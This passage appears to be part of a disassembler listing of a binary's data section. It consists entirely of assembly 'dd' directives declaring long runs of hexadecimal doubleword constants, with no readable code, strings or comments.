7E66FBFEh dd 205BF4D1h, 0A90184A7h, 0D3CEE406h, 0E180B997h, 0FEAA4A46h dd 0E11FCBDDh, 20F65406h, 6A3E1018h, 1A608DCh, 0FDB820C0h dd 9C041318h, 0F7C9301Fh, 4B21E532h, 48C49D84h, 14A56612h dd 20CD0CBh, 106E013Bh, 0E63E0365h, 0B2871052h, 5DDA90AFh dd 7B0019D4h, 0B01D4455h, 3AE5D54Fh, 723D50C6h, 85D41F80h dd 80493682h, 5F004FE8h, 4622737Bh, 0CA39111h, 151B1F02h dd 1E607F28h, 0B1ED2631h, 0C6801373h, 0CC6A0314h, 86D80C56h dd 2C646D39h, 0E4401131h, 0A7CFFA6Eh, 0EFF0367Bh, 4801BA01h dd 0C783229Bh, 18589194h, 28EA201Bh, 817DB01Dh, 0E1A06D1Bh dd 10B174F3h, 0D262A730h, 3136992Ah, 0B76544D1h, 1AFED07h dd 512F828h, 0E2C37551h, 16646272h, 374018A9h, 5690C2BEh dd 68A61136h, 3FEF0719h, 40AD93FEh, 5315ACD1h, 204760CCh dd 0E07E1C22h, 31EBD9E9h, 1A8470F3h, 5F03FCF6h, 3E4E232h dd 6273B8FEh, 397D4Ch, 1401025Bh, 5CEE4256h, 783650CFh dd 0E2E7B9h, 879EE845h, 58960B3Ch, 266E18C3h, 22E9069Ch dd 0A8E0C3CDh, 0D8612AF8h, 6AC1D919h, 0DE35498Ch, 0A7744420h dd 1D27380h, 847A0EF7h, 489AE120h, 8CF15FA8h, 415236C1h dd 4DC400DAh, 33199240h, 7E58AFEFh, 212450F9h, 0DF065CF0h dd 0E1B390D8h, 77350E48h, 7881EEBEh, 45C5150h, 117CE863h dd 7D9128B1h, 14DC6354h, 6AB44Ch, 752AC49Eh, 60565E9Fh dd 36B37166h, 48C08183h, 23FA8E15h, 609F3A69h, 0FE614700h dd 2A09C16Eh, 3649120Eh, 0C9664CC9h, 56340133h, 0B8920CCBh dd 0CCA053EEh, 84A5F8CEh, 0CA558980h, 9A7F11h, 0DB0DFFEAh dd 845C88D6h, 724420C5h, 110F9C41h, 65FC5D8Fh, 7B520462h dd 80913B3Eh, 3735F91Ah, 0B2A34B00h, 0AD0121D2h, 60257B95h dd 2AC2C98Ch, 46004537h, 0D387A69Eh, 2605D0Eh, 0E3F8EC5Ch dd 0D844DF17h, 0A940152h, 0DCAAFC20h, 63505B43h, 0DB881019h dd 7ED700E4h, 0CE1D18h, 1427FDBEh, 0B988A60Fh, 2F8920C9h dd 1C329228h, 6E3414E5h, 9842592Dh, 0A4CECFB3h, 0D08D93A0h dd 4E214888h, 3440A613h dd 9BE48FE9h, 0A4CF12CBh, 0F45F5Ch, 92B4CE23h, 59C1ED2Ah dd 3C82D201h, 622F46F0h, 0E4D96135h, 2885C892h, 0CF7403AEh dd 5124566Ch, 0B030447Ch, 45990A6h, 5C05576Dh, 0F339810Ah dd 0D14C24DFh, 0FC86A601h, 533EAC79h, 0F018E456h, 77C90241h dd 0A1FD29F6h, 1E03AC90h, 7E400C91h, 7A5159E1h, 22AB03EEh dd 54CDB08Fh, 802F9828h, 0AC387C50h, 14806949h, 1E10D413h dd 897EA6E5h, 81FFDC5Bh, 0D675E12Ch, 6044E424h, 0CA2E818Eh dd 0EF00F738h, 6BBAEAB8h, 3FC64822h, 1B06FA7Fh, 58454D37h dd 6497D91Ah, 26AC85A1h, 0A422C44Ah, 8FEFA68Fh, 0C1CFE241h dd 0E0C49365h, 3177D10Ah, 20A9B6C6h, 21B033D2h, 9EC89156h dd 0D073E013h, 4CCC846Eh, 0DF4B144Ah, 14D28825h, 3A5105Ch dd 0E3795A04h, 81ABC9E9h, 0A2A10779h, 0A8A28917h, 6CF34820h dd 894D7F86h, 55CEF501h, 0D99C4178h, 0C6CB5DD4h, 5198DBA1h dd 39C98879h, 29C5001Dh, 3E7435E1h, 3B805EBCh, 0E36B4DD4h dd 0B9241037h, 39940C7Fh, 70A12224h, 60089172h, 0B38BF11Ah dd 0B90318E6h, 53721B9Eh, 0D42951A1h, 0B3789408h, 87350628h dd 29029983h, 0CE2C5F8Eh, 0A15C40F9h, 0B5680D57h, 107950F6h dd 3446829Ch, 39908631h, 74E85059h, 0E26CE261h, 26EABFh dd 2443DA78h, 29C3288h, 9AFC960Bh, 0F414108Ah, 36228873h dd 1CB66744h, 40EAB902h, 1B5BE8B7h, 8600D491h, 59F36BBEh dd 502FE7h, 535C5A8Bh, 4E376EBAh, 0F83408C0h, 1EF2478Ch dd 196F7C85h, 10422141h, 11051A6h, 0F805A044h, 0FCA340DBh dd 58021D43h, 715DFB79h, 211C816Eh, 48869288h, 78CAA150h dd 2A0048F8h, 9026AF2Dh, 3F66DBE7h, 9102F962h, 0B138E9F3h dd 995145E1h, 0F0087E39h, 378FD8F0h, 0C060CFACh, 73D2D4F5h dd 1400E9FCh, 42ABD5C7h, 31FE39F1h, 28E80DB5h, 24B8A289h dd 0F19499C0h, 1139DC04h, 6DA4E0Bh, 599C37EEh, 6C38F830h dd 8B8919C8h, 981F6429h, 0B9FF08h, 4D730DCh, 0D5EAF13Fh dd 1341BB0Dh, 0F4D7F035h, 94C32D00h, 5400A4ACh, 0CC33D180h dd 3F3268Ch, 2CF07117h, 5930D095h, 2D53B108h, 1857FAA1h dd 7847B0D1h, 0C63DCD5h, 7C5AD21h, 8B2115D9h, 2FC7D00Fh dd 0EE705AF0h, 5E84B511h, 609C6E28h, 5BB2C983h, 0C1053F48h dd 0BB13ABB9h, 518D413h, 6F5E8B51h, 8A86E959h, 0A13019BBh dd 0A38D51F3h, 529C31F9h, 8576031h, 5AD14489h, 54A1E740h dd 888438h, 96DD0EEAh, 3BB907D4h, 0B5014FE0h, 0E0E1B60Ah dd 488C53E6h, 75122FFh, 396B4500h, 5D2BEB5Eh, 58D4492Ch dd 0A381B5C0h, 0F6500925h, 0A4AE7480h, 0D3062E00h, 5D9866F8h dd 1F61C88Fh, 0AF81329Ch, 75C2C9EFh, 2B2A80EFh, 1989FC43h dd 0B8366B70h, 0EBC99DD6h, 63470020h, 0DE493FBh, 97051E62h dd 0C22D90D5h, 645B8848h, 0A8F608Ah, 4987F33Ah, 0B1761969h dd 5414DF39h, 0D4BF11C4h, 3D665A0Ch, 0B1746749h, 0A6AE0E00h dd 8A9B483Ah, 4EBC1F4Ah, 0FBEC090h, 5E8F0A78h, 24601D49h dd 2C0050FDh, 0F0D53BF3h, 0EE540471h, 9258FA2Ah, 3C144F70h dd 2C402E46h, 5A0C5350h, 22A4F848h, 2A9098BBh, 32B0A2A0h dd 9A19B8A8h, 27EDFF40h, 43CE9603h, 28687EAh, 0A87E94D9h dd 38449DB4h, 6F7BD210h, 0A50E1053h, 64600A08h, 0DA9C3687h dd 7EB94D01h, 62A38432h, 0BA529D40h, 70C9B82h, 9004A803h dd 1B838A93h, 73C5B49h, 4CAD845Ah, 0D375F71h, 4FA6B19Fh dd 0EFE0AF05h, 942BB72Fh, 0BE071602h, 0A023FF58h, 6D0433B8h dd 2FED03AEh, 28C954CAh, 9F8BB0D9h, 95428E20h, 4927E764h dd 66105C28h, 5B02DD59h, 51756D6Bh, 0A254A42Fh, 0E308C8h dd 84675A07h, 37B9CC72h, 2CC77900h, 927D28A5h, 1D540026h dd 0AE19474Ch, 0E61DF6CCh, 73CAC68Ah, 3804A024h, 53408BADh dd 20BD1ABh, 66CF1000h, 883A767Fh, 0ED682823h, 358E1598h dd 3E00809Ch, 4E980DC2h, 773EE80Fh, 8062385Dh, 0B245DF5Bh dd 1EC359Ah, 0D5593FFAh, 23B9F3A8h, 4371828h, 45C349h dd 93C633C1h, 0FC1F4D69h, 5470AB26h, 4606A088h, 8C01A983h dd 82F180B3h, 9C52786Ch, 8F37201Eh, 0AC003659h, 3050D013h dd 24AE3B17h, 684867DFh, 0A0FDC1FCh, 56024DCh, 10CC4200h dd 9D19BB6Dh, 54D60632h, 697D13AFh, 925044h, 0B993B65Fh dd 47A1E446h, 4FEA2800h, 6A41BE3Ch, 0BBFE10CFh, 0DB2050BAh dd 0A84949h, 0DF1693F0h, 90E87781h, 0DA4F22E4h, 9717EE04h dd 9CCC518Bh, 4116F9D0h, 803C7458h, 86221A37h, 4210A4BBh dd 78391741h, 98E43115h, 836FAB50h, 1BD46852h, 0A420F72Bh dd 482D898h, 0D9C973B6h, 98B884A4h, 7B382B98h, 0B766731Ah dd 6738B199h, 4BD269F8h, 5C029832h, 0B8AA0B0Ah, 0D019C078h dd 632F8260h, 1A35CECh, 8D8E763Ch, 40007240h, 18C35A28h dd 26C7390Ah, 0E0ACE749h, 61AEB740h, 0E33AF600h, 0B696121Eh dd 351920E8h, 8D2C7243h, 0BC425234h, 0F3026046h, 0EDDE476Ch dd 59CC11Ch, 6FB0B10h, 4C989053h, 94897760h, 99FF9070h dd 9B7D00BCh, 7515E62Ah, 5196F502h, 0E0F62D6Dh, 0E44738D7h dd 0E8880ED0h, 0C094D128h, 410FF89h, 0AD071FF3h, 38632F66h dd 31956C6h, 3116127Bh, 0C1EEEA75h, 91C470ECh, 0F123445Ch dd 9C784388h, 26618261h, 0DCCD2D8Bh, 0B9E57CC0h, 0DFA23E58h dd 0F4D6D515h, 21F034BCh, 0EABD188Ch, 5DE7005Fh, 0EB8F3848h dd 0BE0481B8h, 532529F6h, 0EFD3401Ch, 5941D5C2h, 0F38F8212h dd 0E9174C01h, 0F0A9B30Dh, 0E4E89514h, 6400DC22h, 0A3BDC59Ah dd 1FFA878h, 93EB0C7h, 974FE0F5h, 0A0203660h, 0CCCA39h dd 3D2556D9h, 0E2B4317Bh, 0C40E2A28h, 0B72144h, 121A73DEh dd 9E2DA480h, 7D7AF61Dh, 0E96B630Ch, 18110039h, 8094D6FEh dd 0ACA9C47Eh, 0A1C034B2h, 0D3744h, 0EA2A4F24h, 0E8C1A82Bh dd 0F9E77C00h, 2E626D67h, 74354C9Ch, 0A7C07480h, 0B601C3F1h dd 8E68D90Eh, 0C4313D4Eh, 30504C22h, 452A8443h, 0F88684F2h dd 0EA27E302h, 4962F3DCh, 0E823D160h, 0EABC5E2Ch, 4B976020h dd 3B134CEAh, 24286378h, 73B70629h, 914CD1CAh, 8C55E0A1h dd 89DEA159h, 0B32E00A9h, 84BCF831h, 3801F468h, 1FD7C6Eh dd 0F4268A87h, 691F0503h, 51381531h, 8824C57Ch, 89EC0990h dd 18A2FC8Dh, 90518B86h, 518A5510h, 5CFE8388h, 618607CAh dd 0A77E3901h, 691D240Bh, 30B948CFh, 0A038CC50h, 12593A1Ch dd 3249EB99h, 6F26C870h, 95050031h, 0B507B6AEh, 5D4A8B9Fh dd 3C857825h, 0F09FD4CCh, 1EA604F3h, 0C4E37F87h, 90C8D41Bh dd 696CF080h, 68ACDE28h, 3F518D3Dh, 1AF38ED2h, 9E5C20B5h dd 5CCA5232h, 758D64F5h, 8F3441B1h, 80C6E127h, 0E471C11h dd 76AF72A9h, 84851297h, 0DB18448Dh, 0B9785806h, 39CF07EFh dd 90596F1Dh, 3AF38EDFh, 9A37609h, 8D184846h, 3D6CAC97h dd 0A60EF96Fh, 0D741E42Ah, 3233551Ch, 0D9144C24h, 0B08DA79h dd 59DD2C37h, 8952D4C2h, 0B0B48864h, 24361409h, 98A46698h dd 2AB000B7h, 62C98442h, 0CA006108h, 0B8D9CEF2h, 1E920C12h dd 0C968390Eh, 0F88BEFC0h, 5719B8B0h, 0F0C5B83Ch, 9D0BCD00h dd 4656330h, 3E44181Ah, 0AFD588F1h, 0C0254A9h, 8CA8EA3h dd 0B06D875h, 829D914h, 0BB7E278Eh, 0A66330A6h, 7F298002h dd 0DC301B9h, 0B6FD3B8Fh, 0ECE4D634h, 7D834804h, 3C89E1DBh dd 2C111561h, 70103Ah dd 0C9C112D3h, 81A895DCh, 82544810h, 0C37DB6E9h, 94C466h dd 5604576Fh, 7B62256Dh, 66E49251h, 119600A8h, 0E84DBDDAh dd 0B75F0F61h, 2E715C07h, 0E8E8C4D4h, 9C378384h, 0DF916B40h dd 800334Ch, 8ABB5F38h, 3DB9C1CFh, 10F5BEF2h, 151A927Fh dd 2728CDD5h, 3BCC20A0h, 0FA025EF2h, 477003FAh, 752E653Dh dd 0FBD0ADC8h, 282A8572h, 14218C72h, 0A0360CCFh, 1F00C289h dd 5B8656A2h, 0BBDF48h, 63FE0A12h, 0E973604h, 3A2CACA4h dd 946E58EBh, 0C70384F8h, 0AB440953h, 1C50AFh, 113BCD3Eh dd 0EB00430Dh, 0D1B645B3h, 74DAB2h, 0AD841F4Bh, 8ED4D83Dh dd 4C117E2Ch, 4B665A89h, 2CAD88ECh, 0DFC900BEh, 0D96B99D8h dd 0F2187224h, 146984AAh, 1244000Bh, 0CBF45AEEh, 57EC4203h dd 98B72300h, 0EAA54C1Dh, 0FDC9CEA6h, 0CFC3F494h, 3FD09D8Bh dd 9F481E55h, 8CCA1618h, 0E8F84804h, 0E6A4C812h, 21DD250Fh dd 4821906Ah, 0EBD0D288h, 3C50FC32h, 39808E02h, 46DC7294h dd 52014B58h, 0D6688834h, 0C5FCC077h, 250F4400h, 6FF8C756h dd 34838008h, 933D8499h, 608F468Ah, 69468965h, 0A37CD054h dd 518840Eh, 5D8CF22h, 0BC0058D3h, 0A86CB2Ah, 186C7445h dd 8F2D0A3h, 85602430h, 0FD59CA10h, 0A9E890h, 0F3F0930Dh dd 262460ACh, 526A20C7h, 25D6C757h, 53060011h, 0F01D1B1Fh dd 29C0678Ch, 0CC6B0981h, 7270C4CAh, 8B2346BCh, 0C5620069h dd 80611C78h, 590C37E9h, 28D4CED1h, 5D0422BDh, 2BA4261Ah dd 0C98F06B8h, 41E2C020h, 49EAC783h, 0CA1CCF7Fh, 70F77F17h dd 7C79D4E6h, 56A8876h, 58509D00h, 0F62C1C7Ch, 83B2069Ch dd 0A8152D0Ch, 0A3232603h, 0E9847E22h, 198C4AF9h, 30C9096Dh dd 1EF2C400h, 72859604h, 0E2F806E1h, 98E3C64Bh, 34B1A863h dd 0CDA900BFh, 0D66BB12h, 0BD3D67AEh, 10E100E4h, 0FFCE8298h dd 78B180CBh, 0A25F105h, 5800836Ah, 0D8F00506h, 8010549Fh dd 8CC453C3h, 0E2540607h, 0C00F4167h, 46BC5723h, 0EB00218Ch dd 2B1E9D52h, 12E95DF4h, 4A32B8CFh, 608C4C00h, 0FCC4BAD7h dd 0E81C9031h, 489DA43Eh, 83072050h, 1DF8298Fh, 0C4489425h dd 35F9FF7h, 0C87F895Ch, 98A40BE2h, 9CF24112h, 3F45D5Eh dd 1B34927Ch, 0F97B17D9h, 0D47C2EC2h, 0D051D318h, 0F0990204h dd 1DABBE39h, 950A2600h, 0B1270011h, 0C5075A4Ah, 6E0AEC55h dd 7C9EC4E7h, 79B14E18h, 687E422h, 6698323Dh, 0EE63207Ah dd 704F2481h, 61C40529h, 81C84599h, 41153A66h, 81CB7238h dd 43066891h, 78226D1Dh, 0C8B737Ah, 0BE2D1675h, 0DA1F29B9h dd 33C17CCAh, 43EF020Eh, 0AC274C45h, 0E6316870h, 286A0582h dd 5F91CF6h, 40666D84h, 4C477D98h, 9D009F14h, 8D5B455Dh dd 2048AC4h, 0F761933Dh, 0C30470F3h, 0CE4B0A03h, 2123A918h dd 4C66D9h, 5A348742h, 7081B018h, 641DD90Ch, 3017685Ch dd 30B9F18Dh, 0AA3F0669h, 8E298AD3h, 0BD88C8A0h, 51CA85FEh dd 6A8C210Ch, 978110C9h, 0E4E4A8FCh, 0EF1D138Ch, 34304685h dd 6D0129F5h, 37A0EC44h, 0D45CFD0Ah, 3857166h, 0B2B9D246h dd 5915F2F1h, 3F8802E2h, 71C078C3h, 0A959ECF6h, 7543001Ah dd 4F7EAFCBh, 0A41E0D38h, 0C0642B47h, 0BD761741h, 0A844D312h dd 57452100h, 0CE1DD462h, 0E94B6FC6h, 10A41F64h, 68F7C0C4h dd 719C70DDh, 0A220025h, 0B93892B4h, 317DFD2Fh, 923DC420h dd 41A76434h, 60854F65h, 0E7934576h, 0F25E0179h, 0C963AE2Eh dd 0F0DCE49Bh, 809438D1h, 7192E67Eh, 0A0E87947h, 28206AACh dd 4464FB98h, 0EB004575h, 5EB91865h, 70B7F20Bh, 0A80A859h dd 29856A71h, 66A50051h, 8D1314C2h, 2B60C549h, 5A808CB7h dd 0C914BB49h, 0EC7510D5h, 0BCD329A2h, 95067E00h, 2C8E72EBh dd 0A410A5h, 3FF7FC3Eh, 4A29C4BCh, 0EF08A01Eh, 0E45200CBh dd 0FF065F7Bh, 0C71E43FEh, 5AC0B15Eh, 7432193Fh, 6B683077h dd 0F5058138h, 0C6C8A888h, 8C7A7F0h, 0E43452h, 0FA1FE314h dd 0C3993Fh, 9A5EF4B5h, 0C25879E1h, 486E98A9h, 8F0054E0h dd 0C99EE3D5h, 1D7983AEh, 0C07EBFDBh, 0B4EC382Fh, 202954C0h dd 0BD0DC092h, 0C892F847h, 14702225h, 6D4460C6h, 74264C6Ah dd 0FA801388h, 0D3B73B58h, 0D7ED3B07h, 1C33A981h, 5050CFBFh dd 0B67F6A90h, 0FD2BD309h, 66A0909Bh, 1C0D0525h, 8027B83Bh dd 1A08354Ch, 0D9B54601h, 7997AC7Ch, 823ACC34h, 0F630E020h dd 0AB0475C6h, 430B9C03h, 88CDA4C8h, 0A60FEC7Ah, 208975DFh dd 1213C95Eh, 8BBB00CFh, 0E78599A4h, 44E1BD35h, 0EEFC907Ch dd 10998917h, 51C7D30Ch, 0E91E0DEAh, 410FBBFh, 3124DDD4h dd 10E409F8h, 0FD241790h, 342B0A4h, 71FC3D2Ah, 33CC4109h dd 0D96C00ECh, 0EC6F01D1h, 0CC0E5810h, 20B3AB8Eh, 8A8E52C0h dd 4278C3Ah, 4A7F82B5h, 99588096h, 0D0C51418h, 0FBE485C0h dd 0A13C5BE8h, 61A6007Ah, 0C21DA5B6h, 0F4A05895h, 0EE801788h dd 0F4970A20h, 96400090h, 0B8ED2B31h, 0D3636A13h, 3423F1h dd 0E397BB71h, 0BF18CF9Fh, 0EA6AC00Fh, 0CDCCC7D9h, 0AE462330h dd 2AE0B29Bh, 0E8416D2h, 787E7A33h, 93CFE5A0h, 6701E891h dd 0A6BF9CD1h, 77F84263h, 7469016Fh, 6E8C2837h, 50B057FBh dd 0C89CF81Fh, 0B04F9415h, 0FAB811C0h, 54770A15h, 0F9AEF5C2h dd 0D32A140h, 814F2A1Dh, 25085440h, 7E21BA4Ch, 30A8D68Dh dd 18D0E960h, 90A89100h, 0B4595827h, 0E5BE0146h, 0D8A40469h dd 8699884h, 90368F08h, 0D0100DAh, 14A97516h, 0F2434CAh dd 0A64AC92h, 69F3185Fh, 5A0068B4h, 0A1EE1D4Dh, 99C7B7B3h dd 247C2AACh, 80206223h, 5989CDF2h, 3C9AA1C5h, 0E5516C60h dd 0B8E93E8Eh, 0CEC10015h, 44F045D4h, 7B09EC85h, 22CB9846h dd 0C80B8D10h, 0CE51B7D0h, 902D61h, 0E77C53BCh, 1D12D418h dd 904764h, 0B33F1EE8h, 495C3B1Fh, 80F288F4h, 3FA7F339h dd 7F0429BDh, 0FE4FCD9Fh, 3802DC84h, 0C8F176B7h, 4CBDA490h dd 14B09CFFh, 2D037CE2h, 8895AC8Bh, 0DC408FEAh, 13E1B690h dd 190167EEh, 1033B1BCh, 7E689Eh, 617C105Bh, 0EFE98AAh dd 0B2093Eh, 0F0ED9C07h, 90881C2Eh, 500224C4h, 0C86A6594h dd 4C908B74h, 88EC3000h, 0D9B63848h, 485FECB1h, 0AC4D90ADh dd 204BECA1h, 0E9002A25h, 26D45D01h, 52F7D38Dh, 0C1008063h dd 1355EC22h, 0BF2EC5D0h, 0A060F815h, 16F6AE8Dh, 44EAA6D2h dd 44F393E0h, 4B24CBDh, 84D85168h, 88F9CF81h, 1A224C78h dd 892D4487h, 0E1EA8500h, 78C64154h, 0D2260766h, 0B0747743h dd 0CBF68B98h, 0F400E49Bh, 48B16630h, 8D40005Eh, 0D282A37Bh dd 0C433883Ah, 11F3600Fh, 248A4799h, 0D940CC6Dh, 0E2ED8366h dd 0F7A5261Ah, 0B47C4484h, 8AFFC74Ch, 0C4164941h, 511F4F42h dd 0C40C00B8h, 6B354265h, 7C91E726h, 0E28E2041h, 2422C049h dd 0BD7E5500h, 0D880CDADh, 2EF138h, 0CC59FCB3h, 93A1312h dd 8BD20A91h, 6C742098h, 3EDAB702h, 578A8DEh, 0BCDC00EEh dd 9D7CD88Eh, 0C3379F12h, 4A00585Dh, 0EE40730Bh, 6E421Ch dd 0F9C6914Ch, 381FB7E5h, 0E700410Fh, 0F69D79D4h, 0F9A06099h dd 0E8B01540h, 0B181D091h, 0C450EE4Ah, 52F0BAC6h, 0EC550774h dd 4076BC6Dh, 5FF08F51h, 88D4334Ch, 32D58C0Ah, 0B00BB28h dd 77FD4C0Ch, 243F12F1h, 87686836h, 941DD069h, 2E3CE424h dd 0F90440Fh, 0C83AA016h, 2673A19Bh, 8D0260Dh, 6C07867Fh dd 0E68E0F74h, 122F210h dd 9922C6CDh, 29E97F20h, 208C27A0h, 83B23F8Ch, 4AE8B04Eh dd 0AD2832CCh, 990B9580h, 869828FFh, 9842FA00h, 7E40FCEDh dd 656A09F5h, 0C8C9A43Bh, 3F4441D3h, 822EE06Fh, 4015800h dd 0BF0CB0D5h, 0BDE0C11Fh, 37A419EBh, 837C3E84h, 181F12B5h dd 0D823E0EEh, 0DCC9023Ch, 93FDDB62h, 7358900Bh, 3F2A00AFh dd 0E71E13E5h, 8403E67Bh, 5446D287h, 7E73B837h, 430D03A5h dd 500C6CD6h, 2F1FD1E7h, 0F0188655h, 8A497h, 653442F4h dd 437C0E89h, 4BEB21C0h, 0E65E279Bh, 4F740002h, 9693D636h dd 940CA2DEh, 59A554EEh, 0F408C16Ah, 804DA68Dh, 0CE890218h dd 4FE02Dh, 7D81510Ah, 1D841E94h, 0A6469E06h, 0C06888CDh dd 0C9CC4238h, 326F5BD2h, 8ED8D41h, 0C02455CCh, 68F79129h dd 18005D9Fh, 3DF1DC3Bh, 0E7D16Ch, 64668C84h, 5256EC1Dh dd 0C45E31C0h, 3716CE4Fh, 135893FAh, 0E11F261Ah, 0C1F1D443h dd 7980A78Eh, 784858CCh, 99001449h, 4489B794h, 19E18A2Eh dd 29B3D48Dh, 10A85101h, 8AFC0936h, 3FD60165h, 2FED6DFEh dd 5F618049h, 0B3BB3B36h, 64050016h, 83EF998Fh, 0F403EAF5h dd 0A0B943Ch, 997098h, 1C50B56Ch, 1D2F8B79h, 0F0B4CA06h dd 108C9DFh, 0AE6EFFBAh, 438C2172h, 50E06AFDh, 913080BCh dd 6E88313Ah, 0BC195F94h, 0ED1879C4h, 0A3596D67h, 196038Dh dd 63EF3972h, 0CA8BC4A8h, 0E8052D01h, 2ECF540Ch, 44C5488Ch dd 3300A451h, 2AEB8C22h, 3E9FF01h, 54BB73DFh, 899BCA1Ch dd 0D6B869F0h, 0C06E760Ch, 6055B1EDh, 0FC50400Fh, 0D600FF3Bh dd 0AB70C5B2h, 3AD26D0h, 0F181CDCh, 281401A2h, 4C544443h dd 604D30DEh, 71A6D9h, 436533DEh, 5F70B0DFh, 0B722F908h dd 38C2030h, 0C5588DDCh, 39012618h, 0F95CCE46h, 1086EE50h dd 91BFAF1Fh, 50A43778h, 8FC61D09h, 35A2805Fh, 7665FD7Dh dd 8AE06EFh, 315E1E72h, 0B2C944h, 0E2534F29h, 749AFEB7h dd 78088A30h, 0CE4CFDB3h, 92293670h, 0F0FA1480h, 1A0039B7h dd 1FC67532h, 0C02C84FDh, 7A346A30h, 58C66B26h, 0F808C567h dd 0AEEA0706h, 0F00F335Dh, 93A4453Dh, 38B058DFh, 0A841A879h dd 6F4743D0h, 358A39C7h, 0B311B180h, 28A1028h, 5D0D1C17h dd 907E416Eh, 24624004h, 8D016720h, 1FEA2783h, 41841AC3h dd 4C0D3EC5h, 3146B12Dh, 0BAC63F94h, 67298A68h, 7680DC79h dd 88DDCC12h, 91DB0084h, 588074A1h, 9C494310h, 3049240Ch dd 0A1073991h, 3350202Bh, 49007B68h, 3769C4AEh, 4C106FFBh dd 0CD1EA9F5h, 839DC3BAh, 9851FC4Dh, 0A10AFF52h, 30E04A54h dd 0BCF0B881h, 21BD27B2h, 8017709Ch, 697A8E32h, 81C440C5h dd 58C1C6E3h, 9F49862h, 0C83B04C9h, 0C0241683h, 6AACB7A6h dd 64512D14h, 8D3C80ACh, 98F41E57h, 80BD0A49h, 80BC4EA6h dd 0E54CBB48h, 0D300BCEDh, 0F0764406h, 9BC22Dh, 1B269315h dd 41AFA2A3h, 67419EEBh, 45C46643h, 0B1780Bh, 8B46DE7Ch dd 277589D2h, 403F4428h, 0B61DA200h, 2833ED3Eh, 8A79211Bh dd 22654502h, 0E24443F9h, 6014448Dh, 89500955h, 530F9182h dd 844BFEC8h, 8C91CB35h, 0B7F08AD1h, 0A19CA47Ch, 3C409B30h dd 453BA3h, 35E63F5Bh, 5657986Ch, 8E210E60h, 37C16Eh, 7962602Fh dd 94F64B43h, 238A3C1Ch, 241BCF42h, 2DC444B9h, 0B9D03230h dd 942DF528h, 5400AF74h, 29ED7A4Bh, 19EA21Bh, 151370BAh dd 81BF683Bh, 1A11B289h, 80E00E6Ah, 809166h, 52F66598h dd 8500A295h, 6EC91606h, 1EA5B1E3h, 716F17BAh, 0B59148h dd 1E83F97h, 3CEB7675h, 8A124BC6h, 982CC5F9h, 9035CE80h dd 1AE3BCh, 66E6BBE7h, 0EA303470h, 1C68D3Ch, 0D72A8238h dd 94208F18h, 4C9A6Ch, 0B6FEB29Ch, 0D2C6B66h, 10BDC424h dd 1FC9E702h, 348491BBh, 9121E4E1h, 0B4006405h, 2D541E87h dd 3FC518E7h, 37B8990Ah, 91795D09h, 35381056h, 0DC8B5213h dd 59C2637Ch, 0D4D87A4Eh, 77007223h, 0B675223Ch, 13BBED35h dd 0F25AFA5h, 0E3233BC1h, 380041F4h, 0A334B7B8h, 980B8D60h dd 0AB0920Bh, 7A6806ECh, 0EA98879Ch, 2DE82048h, 0E093B71h dd 199F0A2h, 6B20025Ah, 8AC0B830h, 3A413042h, 0BE5C3108h dd 0CEED00C9h, 683943A2h, 0AF59C074h, 58472E8Fh, 0C0921B00h dd 1AB45227h, 91F901F7h, 0D4FDD0EDh, 37898F1Ch, 0A43CE932h dd 6A403828h, 605CBB45h, 3B33300Bh, 2BA824D7h, 0B9FC3052h dd 0C3006A2Ah, 7C425F88h, 8D32FEh, 6F0C8EA0h, 7AC953F2h dd 0D16C253Bh, 826800ACh, 89000E9Ah, 77E438FFh, 2CD6B997h dd 6000D718h, 6BB2B0CEh, 0BE69C700h, 400A314Fh, 463E04F8h dd 81618614h, 1238CDE0h, 0DF5410A3h, 0E8646900h, 8610C03Fh dd 2A1A03F9h, 35BF9BB8h, 1C6A3003h, 0E0094E44h, 54B2BB70h dd 0FE5AC1Eh, 2232CE6h, 0F7B8A120h, 0B228E860h, 9344E08Ch dd 0A4BF0088h, 0F63AC836h, 2D13DA04h, 20BEDh, 2E6FC076h dd 755B5E5h, 0B770037Ch, 1FC4103Eh, 0D600C6B3h, 4ABD2F28h dd 7D9B8D0h, 0BAED48B9h, 49FD60DBh, 0EE042DC8h, 2F9E445Dh dd 68B518C2h, 0ED54BCh, 188CDF3Fh, 558A7692h, 1BFE903h dd 0E580E026h, 30B780C8h, 0BAA06B2Eh, 0A924FCE1h, 0BC404464h dd 0C00337h, 0DF9BEA2h, 27AC811Ah, 620E5800h, 0F6E44BD9h dd 3BB7A9Eh, 0B104DFF4h, 0D100C655h, 0FCA11FBEh, 0D7E3A2Bh dd 54D0B323h, 171022ACh, 0C461A779h, 0F050FBB2h, 6A5C49h dd 328E2B79h, 7E76EC19h, 4DE6FE00h, 5E86559Bh, 734412F0h dd 0EDCC4B4Eh, 0C7059418h, 5AD33200h, 18F719EAh, 0A820070h dd 7791DDA4h, 0CB02D458h, 148B6A83h, 6BF8401Dh, 9E43801Bh dd 6A497665h, 9448D887h, 65808C67h, 725CA0F8h, 320173E6h dd 7D9A3424h, 0D8C4AA5Ah, 0D48B146Bh, 0B918E46Ch, 3D3041CFh dd 19623472h, 221CEE70h, 0E02A9F41h, 0A4222512h, 1F532011h dd 8400C2CEh, 38946A31h, 0FC9EBB0h, 97759E4Ch, 0AFAB0B36h dd 0C8C23E84h, 0D50046ACh, 0E6056CCh, 855CBh, 3D8C7349h dd 0E0504A78h, 0BA7D151Fh, 0AFD0B642h, 67504053h, 78C0503Dh dd 2CF08893h, 24EB5501h, 0D21D36C5h, 0C3347CD0h, 515D5476h dd 0E49030EAh, 2F0FE43Fh, 8B7DD681h, 0E07893BBh, 0F25CD3B3h dd 562A1992h, 0D5BC79A1h, 4100E7ADh, 0B75F52D7h, 501FC840h dd 67904Ah, 11F61297h, 4CDE3074h, 0DFE8AA00h, 0EF8B546Ah dd 3BAC3740h, 0D9C67041h, 18090423h, 0E74F9Ah, 65B72D4Ch dd 0ED59026Bh, 0B0249C49h, 0BA50F8A1h, 0A10A304Ah, 61A36A01h dd 4555960Bh, 1751C70h, 74792C99h, 64B1E047h, 5202CA20h dd 970D66CEh, 46186027h, 0AB2C3185h, 604D3008h, 61C29CB8h dd 0E4C28F1Ch, 95B30014h, 0AFC17C5h, 8C170CBAh, 0EE0066A7h dd 0D472D348h, 0B9980219h, 5592DBB7h, 0C4FDCC48h, 794BC5Ch dd 0A56B3B9Dh, 2546C631h, 361F4C34h, 2871BEC4h, 76AF8B0Bh dd 19400215h, 0DC52B3h, 7F2F0D5Ch, 8EDF8F67h, 6C55E211h dd 0A9128500h, 0E77DAE63h, 0CB0060F4h, 969DD9BEh, 0A380A7Ah dd 0B4D2904h, 0C3550CBCh, 51047C39h, 